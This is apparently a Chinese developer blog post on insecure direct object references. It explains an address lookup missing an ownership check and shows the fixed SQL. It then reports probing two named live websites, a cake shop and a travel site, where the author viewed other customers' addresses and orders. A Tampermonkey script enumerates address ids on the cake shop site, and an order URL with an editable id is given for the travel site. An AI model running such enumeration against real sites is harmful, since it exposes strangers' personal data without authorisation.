去年公司南山接了一个大单,由于项目没有类似的借鉴完全要靠自己摸索,然后是做一版感觉不行又要调整,反反复复修改,然后新功能又要开发,一时一个人根本忙不过来,非常头痛,为工作更方便干脆安营扎山寨在客户那边,边开发边讨论解决方案,每天都是半夜才回到家。但是由于新功能要开发,旧的版面也在做调整,然后也有些许bug要修补,一个人工作量太大了,一边客户要求进度快,所以很多细节就忽略了,但也这样埋下了安全隐患。工作持续三个月左右,终于是要开发完成了,心中甚是高兴,终于一个项目又要完成了。但也这个时候,客户找一个专业测试员,专门测试系统的漏洞,之前埋下的祸根就显现出来了,一下找到7、8个漏洞,其中包括在线支付,客户信息的安全等。

举个栗子客户信息是怎么不安全的

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

在查询用户信息的时候使用sql

select top 1 * from addr where id=地址id

在正常情况下,这个是肯定是没有问题的,用户的地址id是唯一。但是呢,如果在web网站下,使用get请求去获取,用户随便修改一个id,那么可能是获取到别的客户的信息了,这时候其他客户的信息严重泄露了。

如web地址get地址是/user/deliveryAddress/55,用户输入的是/user/deliveryAddress/56 

所似我们正确做法是,从当前登录的session中获取用户id,同时使用用户id和地址id对比,这样才不会出错。

select top 1 * from addr where id=地址id and userid=用户id

确保此地址的信息是当前用户的

 

 

这种错误是不是只我才犯过呢?其实不然

前几天某蛋糕被曝不是当天新鲜制作,内部管理乱得一塌糊涂,其实之前也在他们家买过蛋糕,于是好奇去了他们官网看一下,无意中发现在用户修改地址信息的时候也是用户我之前的方式获取信息/user/deliveryAddress/id 。

做为一个it,之前我就犯过这种错误,好奇之下,我随便修改了一个地址id,果然地址信息改变了,看到其他用户的信息。后来为了验证,我在tampermonkey上写一个循环

// ==UserScript==
// @name         xfxb
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        https://www.xfxb.net/*
// @require    http://code.jquery.com/jquery-1.11.0.min.js
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    for(var i=1000;i<1005;i++){
        $.get("/user/deliveryAddress/"+i, function(result){
            console.log(result);
        });
    }
    // Your code here...
})();

出现了以下信息

那些年我们踩的坑,依然有人在踩坑 Safe 第1张

轻松拿到其他用户的地址信息,看来其他人也同样会犯这种错误。

那些年我们踩的坑,依然有人在踩坑 Safe 第2张

 

@某蛋糕网站的It,你的漏洞了该修复了

 

记录踩过的坑,希望其他人少踩到相同的坑,并且能在CNBLOGS这找到解决办法

  ######################################################### 分割线 2018/12/9 ###############################################################################

持续更新 

6人游旅行网 手机版

随便登录一个帐号

登录页面:http://m.6renyou.com/member/

打开订单页面:

http://m.6renyou.com/ordercext/getTripList?id=246039&t=

修改订单id更可以查看其他人订单信息

那些年我们踩的坑,依然有人在踩坑 Safe 第3张那些年我们踩的坑,依然有人在踩坑 Safe 第4张

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄